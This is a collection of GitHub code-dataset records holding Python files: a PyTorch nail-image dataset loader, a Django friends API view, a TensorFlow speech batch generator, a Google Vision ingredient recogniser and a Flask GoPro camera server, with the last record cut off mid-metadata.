{"seq_id": "27134236247", "text": "\nimport logging\nimport os\nimport time\nfrom enum import Enum\nfrom typing import List, Optional, Union\nfrom tqdm import tqdm\nfrom filelock import FileLock\nfrom PIL import Image\nimport torch\nfrom torch.utils.data import Dataset\nfrom torchvision import transforms\nfrom .autoaugment import ImageNetPolicy\nfrom .processors import InputFeatures,InputExample,image_processors\nimport copy\n\n\nlogger = logging.getLogger(__name__)\n\n\n\nIMAGENET_RGB_MEAN = [0.485, 0.456, 0.406]\nIMAGENET_RGB_SD = [0.229, 0.224, 0.225]\nWIDTH = 224\nHEIGHT = 224\nCHANNELS = 3\nNORMALIZAE = transforms.Normalize(IMAGENET_RGB_MEAN, IMAGENET_RGB_SD)\n\n# ten crop in test and validation provide 10 more view of image which it seems not correct to do in testing\nTRANSFORM_TEST_TEN_CROP=transforms.Compose([\n    transforms.Resize(512),\n    transforms.TenCrop(224),\n    transforms.Lambda(lambda crops: torch.stack([transforms.ToTensor()(crop) for crop in crops])),\n    transforms.Lambda(lambda crops: torch.stack([NORMALIZAE(crop) for crop in crops])),\n    ])\n\n\nTRANSFORM_TEST=transforms.Compose([\n    transforms.Resize((384, 384)),\n    transforms.CenterCrop(384), #384\n    transforms.ToTensor(),\n    transforms.Normalize(IMAGENET_RGB_MEAN, IMAGENET_RGB_SD)\n\n    ])\n\n\n\n\nTRANSFORM_TRAIN=transforms.Compose([\n    transforms.RandomResizedCrop(384),\n    transforms.RandomHorizontalFlip(),\n    #ImageNetPolicy(),\n    transforms.ToTensor(),\n    transforms.Normalize(IMAGENET_RGB_MEAN, IMAGENET_RGB_SD)\n    ])\n\nclass Split(Enum):\n    train = \"train\"\n    dev = \"dev\"\n    test = \"test\"\n    all = \"all-in-one\"\n\ndef image_to_tensor_ten_crop_auto_augment(img_path, mode=None):\n    im_rgb = Image.open(img_path).convert('RGB')\n    img_trs = TRANSFORM_TRAIN(im_rgb) if (mode == Split.train) else TRANSFORM_TEST(im_rgb)\n    #print(img_trs.size())\n    return img_trs\n\nclass NailImagesDataset(Dataset):\n    \"\"\"\n    Create dataset from chestXray -14\n    \"\"\"\n\n    output_mode: str\n    features: List[InputFeatures]\n\n    def __init__(\n        self,\n        #@todo update needed as data_dir\n        args,\n        limit_length: Optional[int] = None,\n        mode: Union[str, Split] = Split.train,\n    ):\n        self.args = args\n        processor = image_processors[args.task_name](args)\n\n        if isinstance(mode, str):\n            try:\n                mode = Split[mode]\n            except KeyError:\n                raise KeyError(\"mode is not a valid split name\")\n        # Load data features from cache or dataset file\n        self.mode = mode\n\n        cached_features_file = os.path.join(\n            args.data_cache_dir if args.data_cache_dir is not None else args.data_dir,\n            \"cached_{}_{}\".format(\n                mode.value, args.task_name,\n            ),\n        )\n\n\n        # Make sure only the first process in distributed training processes the dataset,\n        # and the others will use the cache.\n        #lock_path = cached_features_file + \".lock\"\n        if mode == Split.dev:\n            examples = processor.get_dev_examples()\n        elif mode == Split.test:\n            examples = processor.get_test_examples()\n        elif mode == Split.train:\n            examples = processor.get_train_examples()\n        else:\n            examples= processor.get_examples()\n\n        if limit_length is not None:\n            examples = examples[:limit_length]\n        self.features = self.image_convert_examples_to_features(examples)\n        start = time.time()\n\n\n        #torch.save(self.features, cached_features_file)\n        # ^ This seems to take a lot of time so I want to investigate why and how we can improve.\n        # logger.info(\n        #     \"Saving features into cached file %s [took %.3f s]\", cached_features_file, time.time() - start\n        # )\n\n    def __len__(self):\n        return len(self.features)\n\n    def __getitem__(self, i):\n        feature=self.features[i]\n\n        #@todo if we have only one image?\n        img = image_to_tensor_ten_crop_auto_augment(feature.img, mode=self.mode)\n        multi_labels = torch.tensor(feature.multi_labels, dtype=torch.long)\n        multi_task_labels = torch.tensor(feature.multi_task_labels, dtype=torch.long)\n        finger_index=torch.tensor(feature.finger_index, dtype=torch.long)\n        img_id = feature.img\n        label = torch.tensor(feature.label, dtype=torch.long)\n        multi_labels_with_binary = torch.tensor(feature.multi_labels_with_binary, dtype=torch.long)\n\n        items={\"img_id\":img_id,\n                \"img\":img,\n                \"finger_index\": finger_index,\n                \"label\":label,\n                \"multi_labels\":multi_labels,\n                \"multi_task_labels\":multi_task_labels,\n                \"multi_labels_with_binary\":multi_labels_with_binary\n                }\n\n        return  img_id,img, finger_index, label, multi_labels, multi_task_labels, multi_labels_with_binary\n\n\n    def image_convert_examples_to_features(self, examples: List[InputExample],):\n\n        features = []\n        for example_index, example in tqdm(enumerate(examples)):\n            if example_index % 10000 == 0:\n                logger.info(\"Writing example %d\" % (example_index))\n\n            #@todo filter the report where it has single image !\n            input_images = example.images\n            # @todo how to detect which image is lateral and which one is frontal\n            cuda_path = os.path.join(self.args.data_dir,\"content\",\"images\")\n            if os.path.exists(cuda_path):\n                img = os.path.join(self.args.data_dir,\"content\",\"images\", input_images[0])\n            else:\n                img = os.path.join(self.args.data_dir,\"images\", input_images[0])\n\n            # #if self.mode==Split.train:\n            # if self.mode==Split.train and not self.args.autoAugment:\n            #     img1= image_to_tensor_ten_crop(img1, self.mode)\n            inputs = {\"identifier\": example.identifier,\n                      \"img\": img,\n                      \"finger_index\" : example.finger,\n                      \"multi_labels\": example.multi_labels,\n                      \"multi_task_labels\": example.multi_task_labels,\n                      \"label\":example.label,\n                      \"multi_labels_with_binary\":example.multi_labels_with_binary,\n                      }\n            feature = InputFeatures(**inputs)\n            features.append(feature)\n\n        return features\n\n\n    def select_from_indices(self, indices, mode=None):\n        new_dataset= copy.deepcopy(self)\n        if mode is not None:\n           new_dataset.mode=Split[mode]\n        new_dataset.features=[self.features[idx] for idx in indices]\n        return  new_dataset\n\nimage_datasets = {\n    \"NailImages\": NailImagesDataset,\n}", "repo_name": "uzh-dqbm-cmi/NFC_VIT", "sub_path": "Model/datasets.py", "file_name": "datasets.py", "file_ext": "py", "file_size_in_byte": 6637, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 18, "usage_type": "call"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 27, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 27, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 30, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 30, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 31, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 31, "usage_type": "name"}, {"api_name": "torchvision.transforms.TenCrop", "line_number": 32, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 32, "usage_type": "name"}, {"api_name": "torchvision.transforms.Lambda", "line_number": 33, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 33, "usage_type": "name"}, {"api_name": "torch.stack", "line_number": 33, "usage_type": "call"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 33, "usage_type": "call"}, {"api_name": "torchvision.transforms.Lambda", "line_number": 34, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 34, "usage_type": "name"}, {"api_name": "torch.stack", "line_number": 34, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 38, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 38, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 39, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 39, "usage_type": "name"}, {"api_name": "torchvision.transforms.CenterCrop", "line_number": 40, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 40, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 41, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 41, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 42, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 42, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 49, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 49, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomResizedCrop", "line_number": 50, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 50, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 51, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 51, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 53, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 53, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 54, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 54, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 57, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 64, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 64, "usage_type": "name"}, {"api_name": "torch.utils.data.Dataset", "line_number": 69, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 75, "usage_type": "name"}, {"api_name": "processors.InputFeatures", "line_number": 75, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 81, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 82, "usage_type": "name"}, {"api_name": "processors.image_processors", "line_number": 85, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 135, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 135, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 136, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 136, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 137, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 137, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 139, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 139, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 140, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 154, "usage_type": "name"}, {"api_name": "processors.InputExample", "line_number": 154, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 157, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 164, "usage_type": "call"}, {"api_name": "os.path", "line_number": 164, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 165, "usage_type": "call"}, {"api_name": "os.path", "line_number": 165, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 166, "usage_type": "call"}, {"api_name": "os.path", "line_number": 166, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 168, "usage_type": "call"}, {"api_name": "os.path", "line_number": 168, "usage_type": "attribute"}, {"api_name": "processors.InputFeatures", "line_number": 181, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 188, "usage_type": "call"}]}
{"seq_id": "7674163112", "text": "from rest_framework.views import APIView\n\nfrom dash.models import Follow\nfrom .serializers import AuthorSerializer\nfrom .dataUtils import validateData, getAuthor, getFriendsListData\nfrom .verifyUtils import multiFriendQueryValidators, DependencyError\nfrom .httpUtils import JSONResponse\n\nclass AuthorFriendsView(APIView):\n    \"\"\"\n    This view gets a list of an author's friends.\n    \"\"\"\n    def get(self, request, aid):\n        author = getAuthor(request, aid)\n\n        # Start data response\n        data = {}\n        data['query']  = 'friends'\n\n        # Get list of friends\n        urls = []\n        for follow in author.follow.all():\n            urls.append(follow.friend)\n        data['authors'] = urls\n\n        return JSONResponse(data)\n\n    def post(self, request, aid):\n        \"\"\"\n        Rather than posting a list of friends to add this is a question about\n        whether or not a list of author id urls are friends with the POST'd to\n        user.\n        \"\"\"\n        # Get the author requested\n        author = getAuthor(request, aid)\n\n        # Get the data from the POST\n        data = getFriendsListData(request)\n        validateData(data, multiFriendQueryValidators)\n\n        # Ensure that they POST'd to the url they said they were POSTing to\n        if author.id != data['author']:\n            data = {'author.id': author.id,\n                    'query.author': data['author']}\n            raise DependencyError(data)\n\n        # Get all follows for the author ONCE. Filter later.\n        authorFollows = Follow.objects.filter(author=author)\n\n        # This is the list of people we consider friends from the list they sent\n        ourFriends = []\n\n        for friendId in data['authors']:\n            try:\n                # We don't actually care what we get back, if it doesn't throw\n                # an exception then we're friends\n                authorFollows.get(friend=friendId)\n                ourFriends.append(friendId)\n            except Follow.DoesNotExist:\n                # If there's an exception we don't care, just move on\n                pass\n\n        # Our return data\n        rv = {\n            'query': 'friends',\n            'author': author.id,\n            'friends': ourFriends\n        }\n\n        return JSONResponse(rv)\n\nclass AuthorIsFriendsView(APIView):\n    \"\"\"\n    This view gets whether or not this user is friends with another.\n    \"\"\"\n    def get(self, request, aid=None, other=None):\n        \"\"\"\n        This checks if the author at aid is friends with the author that has aid\n        than other.\n        \"\"\"\n        author = getAuthor(request, aid)\n\n        # Make http id, and https id for back up\n        otherId = 'http://' + other\n        otherIdHttps = 'https://' + other\n\n        # Get the following relationship\n        follows = Follow.objects.filter(author=author, friend=otherId)\n\n        # If we didn't find one then try with https\n        if len(follows) == 0:\n            follows = Follow.objects.filter(author=author, friend=otherIdHttps)\n\n        # Start data return\n        data = {}\n        data['query'] = 'friends'\n\n        # If we didn't find something this time then they're definitely not\n        # friends as far as we can tell\n        if len(follows) == 0:\n            data['authors'] = [author.id, otherId]\n            data['friends'] = False\n        else:\n            follow = follows[0]\n            data['authors'] = [author.id, follow.friend]\n            data['friends'] = True\n\n        return JSONResponse(data)\n", "repo_name": "CMPUT404W17T06/CMPUT404-project", "sub_path": "rest/authorFriendsView.py", "file_name": "authorFriendsView.py", "file_ext": "py", "file_size_in_byte": 3495, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "rest_framework.views.APIView", "line_number": 9, "usage_type": "name"}, {"api_name": "dataUtils.getAuthor", "line_number": 14, "usage_type": "call"}, {"api_name": "httpUtils.JSONResponse", "line_number": 26, "usage_type": "call"}, {"api_name": "dataUtils.getAuthor", "line_number": 35, "usage_type": "call"}, {"api_name": "dataUtils.getFriendsListData", "line_number": 38, "usage_type": "call"}, {"api_name": "dataUtils.validateData", "line_number": 39, "usage_type": "call"}, {"api_name": "verifyUtils.multiFriendQueryValidators", "line_number": 39, "usage_type": "argument"}, {"api_name": "verifyUtils.DependencyError", "line_number": 45, "usage_type": "call"}, {"api_name": "dash.models.Follow.objects.filter", "line_number": 48, "usage_type": "call"}, {"api_name": "dash.models.Follow.objects", "line_number": 48, "usage_type": "attribute"}, {"api_name": "dash.models.Follow", "line_number": 48, "usage_type": "name"}, {"api_name": "dash.models.Follow.DoesNotExist", "line_number": 59, "usage_type": "attribute"}, {"api_name": "dash.models.Follow", "line_number": 59, "usage_type": "name"}, {"api_name": "httpUtils.JSONResponse", "line_number": 70, "usage_type": "call"}, {"api_name": "rest_framework.views.APIView", "line_number": 72, "usage_type": "name"}, {"api_name": "dataUtils.getAuthor", "line_number": 81, "usage_type": "call"}, {"api_name": "dash.models.Follow.objects.filter", "line_number": 88, "usage_type": "call"}, {"api_name": "dash.models.Follow.objects", "line_number": 88, "usage_type": "attribute"}, {"api_name": "dash.models.Follow", "line_number": 88, "usage_type": "name"}, {"api_name": "dash.models.Follow.objects.filter", "line_number": 92, "usage_type": "call"}, {"api_name": "dash.models.Follow.objects", "line_number": 92, "usage_type": "attribute"}, {"api_name": "dash.models.Follow", "line_number": 92, "usage_type": "name"}, {"api_name": "httpUtils.JSONResponse", "line_number": 108, "usage_type": "call"}]}
{"seq_id": "37634656623", "text": "# -*- coding: utf-8 -*-\n\n\"\"\"\nBatch generator with bucketing support.\n\"\"\"\nimport queue\nimport time\n\nfrom collections import namedtuple\nfrom random import shuffle\nfrom threading import Thread\n\nimport numpy as np\nimport tensorflow as tf\nimport data_utils_pre_h\n\nfrom data_utils_pre_h import tf_Examples\n\nModelInput = namedtuple('ModelInput',\n                        ['input_wav_data', 'input_label_data', 'input_label_data_raw'])\n\nBUCKET_CACHE_BATCH = 3\nQUEUE_NUM_BATCH = 3\n\n\nclass Generator:\n  \"\"\"Data class for batch generator.\"\"\"\n  def __init__(self, file_path, batch_size,\n               wav_data_key, label_data_key, label_data_raw_key, wav_length, words_length):\n    self._file_path = file_path\n    self._batch_size = batch_size\n    self._wav_length = wav_length\n    self._words_length = words_length\n    self._wav_data_key = wav_data_key\n    self._label_data_key = label_data_key\n    self._label_data_raw_key = label_data_raw_key\n    self._input_queue = queue.Queue(QUEUE_NUM_BATCH * self._batch_size)\n    self._bucket_input_queue = queue.Queue(QUEUE_NUM_BATCH)\n    self._input_threads = []\n\n    for _ in range(2):\n      self._input_threads.append(Thread(target=self._enqueue))\n      self._input_threads[-1].daemon = True\n      self._input_threads[-1].start()\n\n    self._bucketing_threads = []\n    for _ in range(1):\n      self._bucketing_threads.append(Thread(target=self._fill_bucket))\n      self._bucketing_threads[-1].daemon = True\n      self._bucketing_threads[-1].start()\n\n    self._watch_thread = Thread(target=self._monitor)\n    self._watch_thread.daemon = True\n    self._watch_thread.start()\n\n  def next(self):\n    \"\"\"Returns next batch of inputs for model.\n    Returns:\n      batch_context: A batch of encoder inputs [c_timesteps, batch_size].\n      batch_question: A batch of encoder inputs [q_timesteps, batch_size].\n      batch_answer: A batch of one-hot encoded answers [2, batch_size].\n      origin_context: original context words.\n      origin_question: original question words.\n      origin_answer: original answer words.\n    \"\"\"\n    # batch_wav = []\n    # batch_label = []\n    # batch_label_raw = []\n    #\n    #\n    # buckets = self._bucket_input_queue.get()\n    # for i in range(self._batch_size):\n    #   (wav, label, label_raw) = buckets[i]\n    #\n    #   batch_wav.append(wav)\n    #   batch_label.append(label)\n    #   batch_label_raw.append(label_raw)\n\n    batch_wav = np.zeros(\n        (self._batch_size, self._wav_length, 20), dtype=np.float32)\n    batch_label = np.zeros(\n        (self._batch_size, self._words_length), dtype=np.int32)\n    batch_label_raw = []\n\n    buckets = self._bucket_input_queue.get()\n    for i in range(self._batch_size):\n      (wav, label, label_raw) = buckets[i]\n      batch_wav[i] = wav\n      batch_label[i, :] = label[:]\n      batch_label_raw.append(label_raw)\n\n    return (batch_wav, batch_label, batch_label_raw)\n\n  def _enqueue(self):\n    \"\"\"Fill input queue with ModelInput.\"\"\"\n    input_gen = self._textGenerator(tf_Examples(self._file_path))\n\n    while True:\n      (wav, label, label_raw) = next(input_gen)\n      element = ModelInput(wav, label, label_raw)\n      self._input_queue.put(element)\n\n\n  def _fill_bucket(self):\n    \"\"\"Fill bucketed batches into the bucket_input_queue.\"\"\"\n    while True:\n      inputs = []\n      for _ in range(self._batch_size * BUCKET_CACHE_BATCH):\n        inputs.append(self._input_queue.get())\n\n      batches = []\n      for i in range(0, len(inputs), self._batch_size):\n        batches.append(inputs[i:i+self._batch_size])\n      # shuffle(batches)\n\n      for b in batches:\n        self._bucket_input_queue.put(b)\n\n  def _monitor(self):\n    \"\"\"Watch the daemon input threads and restart if dead.\"\"\"\n    while True:\n      time.sleep(60)\n      input_threads = []\n      for t in self._input_threads:\n        if t.is_alive():\n          input_threads.append(t)\n        else:\n          tf.logging.error('Found input thread dead.')\n          new_t = Thread(target=self._enqueue)\n          input_threads.append(new_t)\n          input_threads[-1].daemon = True\n          input_threads[-1].start()\n\n      self._input_threads = input_threads\n\n      bucketing_threads = []\n      for t in self._bucketing_threads:\n        if t.is_alive():\n          bucketing_threads.append(t)\n        else:\n          tf.logging.error('Found bucketing thread dead.')\n          new_t = Thread(target=self._fill_bucket)\n          bucketing_threads.append(new_t)\n          bucketing_threads[-1].daemon = True\n          bucketing_threads[-1].start()\n\n      self._bucketing_threads = bucketing_threads\n\n  def _getExFeatureText(self, ex, key):\n    \"\"\"Extract text for a feature from td.Example.\n    Args:\n      ex: tf.Example.\n      key: key of the feature to be extracted.\n    Returns:\n      feature: a feature text extracted.\n    \"\"\"\n    return ex.features.feature[key].bytes_list.value\n\n  def _get_int64_feature(self, ex, key):\n    return ex.features.feature[key].int64_list.value\n\n  def _get_float_feature(self, ex, key):\n    return ex.features.feature[key].float_list.value\n\n\n\n  def _textGenerator(self, example_gen):\n    \"\"\"Yields original (context, question, answer) tuple.\"\"\"\n    while True:\n      e = next(example_gen)\n      try:\n        wav = self._get_float_feature(e, self._wav_data_key)\n        wav = data_utils_pre_h.pat2two_dim(wav, 20)\n        label = self._get_int64_feature(e, self._label_data_key)\n        label_raw = self._getExFeatureText(e, self._label_data_raw_key)[0].decode('utf-8')\n      except ValueError:\n        tf.logging.error('Failed to get data from example')\n        continue\n\n      yield (wav, label, label_raw)\n", "repo_name": "Circle-Ming/Speech-Text_Alignment-MachineTranslation", "sub_path": "batch_reader.py", "file_name": "batch_reader.py", "file_ext": "py", "file_size_in_byte": 5603, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.namedtuple", "line_number": 19, "usage_type": "call"}, {"api_name": "queue.Queue", "line_number": 37, "usage_type": "call"}, {"api_name": "queue.Queue", "line_number": 38, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 42, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 48, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 80, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 82, "usage_type": "attribute"}, {"api_name": "data_utils_pre_h.tf_Examples", "line_number": 96, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 122, "usage_type": "call"}, {"api_name": "tensorflow.logging.error", "line_number": 128, "usage_type": "call"}, {"api_name": "tensorflow.logging", "line_number": 128, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 129, "usage_type": "call"}, {"api_name": "tensorflow.logging.error", "line_number": 141, "usage_type": "call"}, {"api_name": "tensorflow.logging", "line_number": 141, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 142, "usage_type": "call"}, {"api_name": "data_utils_pre_h.pat2two_dim", "line_number": 173, "usage_type": "call"}, {"api_name": "tensorflow.logging.error", "line_number": 177, "usage_type": "call"}, {"api_name": "tensorflow.logging", "line_number": 177, "usage_type": "attribute"}]}
{"seq_id": "17578342120", "text": "# Imports the Google Cloud client library\r\nfrom google.cloud import vision\r\nimport io\r\nimport os\r\nfrom recognise_ingredients.image_processing import *\r\n\r\nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"] = \"/Users/jakub/git/fraidge-ai/fraidge-fcf90a851481.json\"\r\n\r\nRELATIVE_PATH = 'images/fridge.jpg'\r\nSHOW = False\r\n\r\n# Load an instance of the image annotator\r\nclient = vision.ImageAnnotatorClient()\r\n\r\n\r\ndef printObj(object_):\r\n    print('\\n{} (confidence: {})'.format(object_.name, object_.score))\r\n\r\n\r\ndef loadContent(file_name):\r\n    # Loads the image into memory\r\n    with io.open(file_name, 'rb') as image_file:\r\n        content = image_file.read()\r\n    return content\r\n\r\n\r\ndef objectLocalization(file_name, factor, show=False):\r\n    content = loadContent(file_name)\r\n    image = vision.Image(content=content)\r\n\r\n    objects = client.object_localization(\r\n        image=image).localized_object_annotations\r\n\r\n    print('Number of objects found: {}'.format(len(objects)))\r\n    result = []\r\n    for object_ in objects:\r\n        # Crop object\r\n        buffer_value = cropToBuffer(file_name, object_, factor, show)\r\n        buffer_image = vision.Image(content=buffer_value)\r\n\r\n        object_recognition = client.object_localization(\r\n            image=buffer_image).localized_object_annotations\r\n        for i in range(min(3, len(object_recognition))):\r\n            result.append(object_recognition[i].name)\r\n        # result.append(object_.name)\r\n    return set(result)\r\n\r\n\r\ndef filterIngredients(set):\r\n    removables = {\r\n        'Food',\r\n        'Container',\r\n        'Animal',\r\n        'Clock',\r\n        'Fruit',\r\n        'Person'\r\n    }\r\n\r\n    return set.difference(removables)\r\n\r\n\r\ndef main():\r\n    file_name = os.path.abspath(RELATIVE_PATH)\r\n    objects = objectLocalization(file_name, 0.02, show=SHOW)\r\n    # Filter ingredients\r\n    ingredients = filterIngredients(objects)\r\n    print(ingredients)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n", "repo_name": "GGmorello/FrAIdge", "sub_path": "recognise_ingredients/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1950, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.environ", "line_number": 7, "usage_type": "attribute"}, {"api_name": "google.cloud.vision.ImageAnnotatorClient", "line_number": 13, "usage_type": "call"}, {"api_name": "google.cloud.vision", "line_number": 13, "usage_type": "name"}, {"api_name": "io.open", "line_number": 22, "usage_type": "call"}, {"api_name": "google.cloud.vision.Image", "line_number": 29, "usage_type": "call"}, {"api_name": "google.cloud.vision", "line_number": 29, "usage_type": "name"}, {"api_name": "google.cloud.vision.Image", "line_number": 39, "usage_type": "call"}, {"api_name": "google.cloud.vision", "line_number": 39, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}]}
{"seq_id": "5137885668", "text": "from flask import Flask, request, send_file\nfrom flask_cors import CORS\n\nfrom gopro_client import GoProClient\nfrom image_cache import ImageCache\nfrom calibration import Calibrator\nfrom environment import Environment\nfrom resetter import Reset\n\napp = Flask(__name__)\nCORS(app)\n\n\n# gpCam.downloadLastMedia(gpCam.shoot_video(i), custom_filename=\"VIDEO_\"+str(i)+\".MP4\")\n\n\n@app.route('/')\ndef hello_world():\n\treturn 'Hello World!'\n\n\n@app.route('/video/')\ndef video():\n\treturn {\n\t\t'success': False,\n\t\t'message': 'Video not supported yet'\n\t}\n\n\n@app.route('/status/')\ndef status():\n\treturn {\n\t\t'success': True,\n\t\t'message': '',\n\t\t'connected': False\n\t}\n\n\n@app.route('/image/')\ndef get_image():\n\timage_cache = ImageCache.get_instance()\n\timage_id = int(request.args.get('id'))\n\ttry:\n\t\timage_info = image_cache.get_image(image_id)\n\t\timage_path = image_info.path\n\texcept:\n\t\tprint('unable to load image', image_id)\n\t\timage_path = Environment.get_default_image_path()\n\treturn send_file(image_path, mimetype='image/png')\n\n\n@app.route('/snapshots/', methods=['GET', 'PUT', 'DELETE'])\ndef snapshots():\n\timage_cache = ImageCache.get_instance()\n\tif request.method == 'GET':\n\t\treturn {\n\t\t\t'success': True,\n\t\t\t'message': 'retrieved current snapshots',\n\t\t\t'snapshots': [\n\t\t\t\tinfo.to_json()\n\t\t\t\tfor info in image_cache.get_snapshots()\n\t\t\t]\n\t\t}\n\telif request.method == 'PUT':\n\t\tgopro = GoProClient.get_instance()\n\t\tphoto = gopro.take_photo()\n\t\tinfo = image_cache.add_snapshot(photo)\n\t\treturn {\n\t\t\t'success': True,\n\t\t\t'message': '',\n\t\t\t'image-info': info.to_json()\n\t\t}\n\telif request.method == 'DELETE':\n\t\timage_cache.remove_image(request.json['id'])\n\t\treturn {\n\t\t\t'success': True,\n\t\t\t'message': 'removed the snapshot'\n\t\t}\n\n\n@app.route('/reset/', methods=['GET', 'PUT', 'DELETE'])\ndef reset():\n\treset = Reset.get_instance()\n\t# status = GoProClient.get_instance().status()\n\tif request.method == 'GET':\n\t\timage_cache = ImageCache.get_instance()\n\t\tinfo = image_cache.current_reset_image\n\t\tif info is None:\n\t\t\treturn {\n\t\t\t\t'success': False,\n\t\t\t\t'message': 'currently no image'\n\t\t\t}\n\t\treturn {\n\t\t\t'success': True,\n\t\t\t'message': '',\n\t\t\t'image': info.to_json()\n\t\t}\n\telif request.method == 'PUT':\n\t\treset = Reset.get_instance()\n\t\tif reset.resetting:\n\t\t\treturn {\n\t\t\t\t'success': True,\n\t\t\t\t'message': 'already resetting'\n\t\t\t}\n\t\treset.begin_reset()\n\t\treturn {\n\t\t\t'success': True,\n\t\t\t'message': 'started resetting'\n\t\t}\n\telif request.method == 'DELETE':\n\t\tif not reset.resetting:\n\t\t\treturn {\n\t\t\t\t'success': True,\n\t\t\t\t'message': 'not currently resetting'\n\t\t\t}\n\t\treset.end_reset()\n\t\treturn {\n\t\t\t'success': True,\n\t\t\t'message': 'stopped resetting'\n\t\t}\n\n\n@app.route('/calibration/', methods=['GET', 'PUT'])\ndef calibration():\n\ta = ImageCache.get_instance()\n\tif request.method == 'GET':\n\t\t# return the current calibration image\n\t\tpass\n\telif request.method == 'PUT':\n\t\tc = Calibrator.get_instance()\n\t\tc.calibrate()\n\n\nif __name__ == '__main__':\n\tapp.run()\n", "repo_name": "iconocl4st/billiard_view", "sub_path": "pool_server/gopro_api/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 2907, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 10, "usage_type": "call"}, {"api_name": "flask_cors.CORS", "line_number": 11, "usage_type": "call"}, {"api_name": "image_cache.ImageCache.get_instance", "line_number": 41, "usage_type": "call"}, {"api_name": "image_cache.ImageCache", "line_number": 41, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 42, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 42, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 42, "usage_type": "name"}, {"api_name": "image_cache.get_image", "line_number": 44, "usage_type": "call"}, {"api_name": "environment.Environment.get_default_image_path", "line_number": 48, "usage_type": "call"}, {"api_name": "environment.Environment", "line_number": 48, "usage_type": "name"}, {"api_name": "flask.send_file", "line_number": 49, "usage_type": "call"}, {"api_name": 